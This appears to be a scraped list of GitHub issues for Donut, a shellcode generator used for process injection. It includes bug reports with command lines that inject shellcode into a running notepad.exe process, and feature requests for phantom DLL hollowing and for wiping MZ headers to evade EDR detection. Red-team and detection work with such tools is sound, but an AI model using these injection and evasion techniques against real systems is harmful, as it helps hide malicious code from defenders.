The generated loader.bin shellcode does not seem to work on a specific system configuration. It makes the host process crash when loaded.

System configuration

  • Windows 10.0.18362 N/A Build 18362
  • .NET Framework installed on the host:
    • v4.0.0.0
    • v4.8.03752
  • Anti-Virus: Windows Defender is installed by default, but all options have been disabled
  • Donut: latest version built from master as of 03/23/2020

What did you try to do ?

Use donut.exe to generate a shellcode based on the DemoCreateProcess assembly with the following command:

.\donut.exe -e 1 -b 1 -z 1 -c TestClass -m RunProcess -p "calc.exe calc.exe" C:\Users\lab\source\repos\donut\DemoCreateProcess\bin\Release\DemoCreateProcess.dll

Then converted the shellcode to a base64 string using the following powershell snippet:

 [System.Convert]::ToBase64String([IO.File]::ReadAllBytes("path\to\loader.bin")) | clip

Finally, replaced the base64 string in the DonutTest project, line 13. Then, I compiled the DonutTest project, started a new notepad.exe process (pid 5824), and ran:

.\DonutTest.exe 5824

What did you expect ?

calc.exe should be running as a child of notepad.exe (process 5824)

What happened ?

The notepad process crashed.

More information

I initially had the issue with another assembly, and another shellcode injector, but even trying with the ones provided within the donut repo, I am able to reproduce this behavior. Building and using a debug version of donut results in the same behavior, although running .\loader64.exe .\instance on the generated instance file works well. So my best guess would be that something is wrong in the loader embedded in the final shellcode, but I have honestly no clue about what.

Here are the log files for the debug build:
https://gist.github.com/lesnuages/f27ef9b33676ac4f0e882c738ed0fb10

Covert PE payload allocation

Multiple people have requested that we use a more covert mechanism for loading PE payloads. For the next version of Donut, research options and choose one (or multiple and expose the options to the user). The current idea is to use Module Overloading / Phantom DLL Hollowing.

Additions to Donut >= v0.9.3 (feedback welcome)

  • Option to encode shellcode with base64.
    Some users may encode payload before using with a .NET tool for process injection. Would users want the option of encoding the shellcode before saving to disk?

  • Option to specify behaviour of connections over HTTPS.
    Currently, donut ignores invalid certificates over HTTPS, but that may not be desirable. Should an option that allow users to specify be added?

Sizing Issues

I have used the exe version of donut on a 64-bit payload that was ~300K, and the produced bin file was ~33K and did not execute or act as expected

Suggestion for Reducing Shellcode Size

Hi,

Donut created a ~35KB shellcode for a simple .EXE using the MessageBox API. Do you have any advice to reduce shellcode size with Donut?

Sample Code:

#include <Windows.h>

int main() {
	MessageBoxA(NULL, "A", "B", MB_OK);
	return 0;
}

Why is the delay loading mechanism not used for delay loaded imports?

When a delay load import is used by a PE the linker generates the typical stub that calls LoadLibrary/GetProcAddress and writes this value into the IAT when referenced for the first time. Is there a reason why this behavior wasn't left intact and delay loaded imports are forcibly loaded during the mapping process via LoadLibrary, defeating the actual purpose of delay loading imports in the first place?

From my testing earlier in the year as long as you correctly map the sections and apply relocations the linker generated stub works as intended.

[Question] Tutorial?

I've got a question for the team/the dev. How did you convert your c/c++ source to position independent shellcode? Could you possibly write a tutorial or a youtube video. Very interested!

Shellcode from Rust binaries do not work very well.

Hello,

So i have been trying to make shellcode from rust binaries, but unfortunately it acts quite weird.
I have tried all options about changing arch, adding or removing entropy or add -z but it results in these weird issues where even a simple hello world application will not work. It might work partially sometimes and then crash like show below from cmd.
To clarify the below attempts are from EXACTLY the same shellcode file, i did not generate it with different options for every time i ran it below.
If you need any help for compiling in rust or anything hit me up in twitter @Trickster012

C:\Users\test\Desktop>f:\runsc.exe -f C:\Users\test\Desktop\test.bin -x

[ run shellcode v0.2
[ reading code from C:\Users\test\Desktop\test.bin
[ executing code...thread panicked while processing panic. aborting.

C:\Users\test\Desktop>f:\runsc.exe -f C:\Users\test\Desktop\test.bin -x

[ run shellcode v0.2
[ reading code from C:\Users\test\Desktop\test.bin
[ executing code...Hello, world!

C:\Users\test\Desktop>f:\runsc.exe -f C:\Users\test\Desktop\test.bin -x

[ run shellcode v0.2
[ reading code from C:\Users\test\Desktop\test.bin
[ executing code...thread panicked while processing panic. aborting.

C:\Users\test\Desktop>f:\runsc.exe -f C:\Users\test\Desktop\test.bin -x

[ run shellcode v0.2
[ reading code from C:\Users\test\Desktop\test.bin
[ executing code...thread panicked while processing panic. aborting.

Donut does not take -r (CLR runtime version) into consideration

OS
Win7 Enterprise x64
.NET Framework version
v3.5
Command line used
donut.exe -r v2.0.50727 -c Program -m Main -o out.bin create_temp_file.exe

Expected behavior: shellcode generated is using the v2 CLR
Possibly actual behavior: -r flag is being ignored, shellcode does not work on target machine

Fix Python bindings

Python bindings in master are not up to date with latest changes. We can either wait to update them until the next release or go ahead and do it now to provide people with the current level of functionality.

Wipe MZ headers

Wipe MZ and other unnecessary metadeta headers from memory before loading PEs. Perhaps the Rich headers, as well?

Memory scanners and EDR hooks look for the presence of these headers when attempting to detect signs of process injection. Removing these would bypass fragile detections.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.